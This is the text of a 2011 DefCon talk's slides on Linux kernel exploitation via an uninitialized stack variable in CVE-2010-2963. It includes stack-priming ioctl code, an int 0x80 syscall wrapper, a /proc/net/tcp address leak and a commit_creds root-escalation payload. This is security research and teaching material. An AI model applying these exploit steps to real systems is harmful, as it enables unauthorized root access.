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20 Minutes!

● introduction
● quick Linux kernel exploitation basics
● audit callers of copy_from_user() for mistakes
● found a flawed function, but don't have direct control?
● controlling an uninitialized stack variable
● become root
● questions
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introduction
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who I am, what I do

Kees Cook
● Pronounced “Case”

● @kees_cook on Twitter

DefCon Capture the Flag
● Started participating in 2003

● With Team 1@stPlace, won in 2006 and 2007

● Still play in the qualification rounds just for the fun of it

Ubuntu Security Team
● Started working for Canonical in 2006

● Responsible for keeping Ubuntu as safe as possible

● Enjoyed getting compiler hardening into shape

● Now focusing on kernel hardening

mailto:1@stPlace
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quick Linux kernel 
exploitation basics
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key to kernel exploitation is the 
arbitrary write

Control kernel memory
● Kernel determines permissions

Credentials
● Change your process's UID to 0

Fun bit is finding the targets
● Hunt through kernel memory

● Global functions, variables
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there is an extensive list of 
potential targets and triggers

Function tables!

● struct security_operations global pointer: security_ops

include/linux/security.h

easy offset to “ptrace_access_check”, but requires a little clean-up

● System-wide IDT

Attacking the Core: http://www.phrack.org/issues.html?issue=64&id=6

requires handling interrupt mode

● single, isolated struct sock

sk_destruct called on close()

easy to find in memory via /proc/net/tcp
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but you need to find a flaw first

Everything is a theory until you find a flaw
● Using a flaw tends to be easy

● Finding a flaw tends to be harder

Interface boundaries
● Switches from userspace to ring0

● Changes in privilege levels
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audit callers of 
copy_from_user() for 
mistakes
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there are a lot of 
copy_from_user() callers

3893 to be exact
● git grep copy_from_user | wc -l

Need to find unsafe uses
● Length isn't checked correctly

● Source isn't checked correctly

● Destination isn't checked correctly
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advanced static analysis?
nah, just use grep

Regular expressions
● Can get you most of the way, very quickly

Unchecked copy_from_user
● __copy_from_user() without access_ok()

● Very few callers

● Intel DRM (CVE-2010-2962, me)

● RDS (CVE-2010-3904, Dan Rosenberg)

Okay, slightly advanced static analysis: Coccinelle
● http://coccinelle.lip6.fr/

● “Semantic Patch”, but I use it as “Semantic Grep”

http://coccinelle.lip6.fr/
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semantic grep example

@cfucfu@
position pp;
@@

 copy_from_user@p@p(...)
@cfu_simplecfu_simple@
position cfu.pcfu.p;
expression f;
identifier e;
@@

(
  copy_from_user@p@p(&e, f, sizeof(e))
|
  copy_from_user@p@p(e, f, sizeof(*e))
)

…
…

@depends on (!cfu_simplecfu_simple and ……)@
position cfu.pcfu.p;
@@

* copy_from_user@p@p(...)

First

Final

Whitelist Patterns
…
...
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focus on areas that do not get a 
lot of usage/users

Rare network protocols
● SCTP

● RDS

Interfaces with few consumers
● Video DRM: mostly just Xorg

● Network diagnostics: handful of debugging tools

● New syscalls

● Compat
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compat (64bit to 32bit, API 
versions) has had lots of bugs

Syscall Compat
● Not clearing high portion of register used for jump table lookup

● CVE-2007-4573 and CVE-2010-3301

API Compat
● Extremely few users

● CVE-2010-2963, code had 0 users, in fact

Generally
● Just look at Mitre for some history

● http://cve.mitre.org/cgi-bin/cvekey.cgi?keyword=kernel+compat
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found a flawed function, 
but don't have direct 
control?
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CVE-2010-2963 is a great example 
in the v4l compat functions
static int get_microcode32(struct video_code *kp, struct video_code32 __user *up) {
       if (!access_ok(VERIFY_READ, up, sizeof(struct video_code32)) ||
               copy_from_user(kp->loadwhat, up->loadwhat, sizeof(up->loadwhat)) ||
               get_user(kp->datasize, &up->datasize) ||
               copy_from_user(kp->data, up->data, up->datasize)copy_from_user(kp->data, up->data, up->datasize))
                       return -EFAULT;
       return 0;
}
static long do_video_ioctl(struct file *file, unsigned int cmd, unsigned long arg) {
        union {
                struct video_tuner vt;
                struct video_code vc;
...
        } kargkarg;
        void __user *up = compat_ptr(arg);
...
        switch (cmd) {
...
        case VIDIOCSMICROCODE:
                err = get_microcode32(&karg.vc, up)get_microcode32(&karg.vc, up);
...



 

 17  Kernel Exploitation Via Uninitialized Stack by Kees Cook

unchecked copy_from_user() from 
uninitialized address on stack

karg contents uninitialized
● But “uninitialized” really means “filled with memory from before”

karg lives on the stack
● What went there before?

the build didn't bother to emit warnings
● Compiler assumes we meant to do that
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controlling an 
uninitialized stack 
variable
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find an overlapping function or 
call path

How about the same ioctl?
● same call path

● at least the same stack size

static long do_video_ioctl(struct file *file, unsigned int cmd, unsigned long arg) {
        union {
                struct video_tuner vt;
                struct video_code vc;
...
        } karg;
        void __user *up = compat_ptr(arg);
...
        switch (cmd) {
...
        case VIDIOCSTUNER:
        case VIDIOCGTUNER:
                err = get_video_tuner32 get_video_tuner32(&karg.vt, up);
...
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examine offsets and alignments 
of the on-stack variables

struct video_code32 {
       char            loadwhat[16];
       compat_int_t    datasize;
       /* 4 bytes of compiler-added padding here */
       unsigned char * datadata;         /* 24 bytes to pointer */
 };

...

struct video_tuner32 {
        compat_int_t tuner;
        char namename[32];               /* 4 bytes from start of struct */
        compat_ulong_t rangelow, rangehigh;
        u32 flags;      /* It is really u32 in videodev.h */
        u16 mode, signal;
};
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stack memory view

…
..
.

…
..
.

top

bottom

Saved junk before ioctlSaved junk before ioctl

karg, after
VIDIOCSTUNER:

tuner
name[32]

other locals...

karg, entering
VIDIOCSMICROCODE:

loadwhat[16]

datasize
padding

data
other locals...

<------------------------------------------>
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arrange stack with the values you 
need via careful invocation

datasize and data for source are used directly
● No special tricks needed:

data pointer for destination needs to be overlapped and left 
on stack

        uint64_t *ptr = (uint64_t*)(&(tuner->name[20]));
        *ptr = destination;

        vc->datasize = length;
        vc->data = source;
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prime the page tables to keep 
extra things off the stack

Kernel stack is used by everything in the process
● Doing memory access to page stuff into memory?

● Added a printf() to aid debugging?

Any work between or in syscalls may trigger further kernel 
stack work
● Avoid syscall wrappers (libc)

● Avoid calling the interface for the first time

In this case, we must call 32bit syscall from 64bit userspace
● Use int 0x80

● Write some assembly
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make the call...

unsigned int syscall32(unsigned int syscall, unsigned int arg1,
                                     unsigned int arg2, unsigned int arg3)
{
        unsigned int rc;
        asm volatile("movl %1, %%ebx;\n”
                            “movl %2, %%ecx;\n"
                            "movl %3, %%edx;\n”
                            “movl %4, %%eax;\n"
                            "int $0x80int $0x80;\n”
                            “movl %%eax, %0;\n"
                            : "=g"(rc) /* output */
                            : "g"(arg1), "g"(arg2), "g"(arg3), "g"(syscall) /* input */
                            : "%eax", "%ebx", "%ecx", "%edx"/* clobbered registers */ );
        return rc;
}
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… and write arbitrarily

        // beat memory into the stack...
        code = 0x40347605; // VIDIOCSTUNER
        syscall32(IOCTL_SYSCALL, (unsigned int)dev, code,
                        (unsigned int)(uintptr_t)tuner);
        syscall32(IOCTL_SYSCALL, (unsigned int)dev, code,
                        (unsigned int)(uintptr_t)tuner);
        syscall32(IOCTL_SYSCALL, (unsigned int)dev, code,
                        (unsigned int)(uintptr_t)tuner);

        /* VIDIOCSMICROCODE32,
           the badly constructed VIDIOCSMICROCODE */
        code = 0x4020761b;
        syscall32(IOCTL_SYSCALL, (unsigned int)dev, code,
                        (unsigned int)(uintptr_t)vc);



 26  Kernel Exploitation Via Uninitialized Stack by Kees Cook

become root
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aim arbitrary write at target

Use struct sock exploit method from Dan Rosenberg's code
● open a TCP socket

● Look up where the socket is in kernel memory from /proc/net/tcp

● target the sk_destruct function pointer

      (find it with  “offsetof(struct sock, sk_destruct)”)

● kptr_restrict now blocks /proc/net/tcp

      (but INET_DIAG netlink is still leaks these addresses)

$ cat /proc/net/tcp | grep 7A69
   9: 00000000:7A697A69 00000000:0000 0A 00000000:00000000 00:00000000
 00000000  1000        0 2087721 1 ffff88011c972d80ffff88011c972d80 300 0 0 2 -1 
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create a payload

Use prepare/set cred payload method from Brad Spengler's 
Enlightenment code
● Look up kernel addresses for needed functions

● Call them to reset credentials to uid 0

commit_creds = (_commit_creds)get_kernel_sym("commit_creds");
prepare_kernel_cred = (_prepare_kernel_cred)
                                      get_kernel_sym("prepare_kernel_cred");
  ...

  int __attribute__((regparm(3)))
  getroot(void * file, void * vma)
  {
        commit_creds(prepare_kernel_cred(0));
        return -1;
  }
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trigger the target

Just close the socket
● Boom

Enjoy ring0
● Kernel cleans up for you
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Demo

Follow along!
● http://people.canonical.com/~kees/defcon19/vyakarana.c

http://people.canonical.com/~kees/defcon19/vyakarana.c


Questions please
Thank you

Kees Cook

kees.cook@canonical.com

www.canonical.com

DefCon 19, August 2011

http://www.canonical.com/
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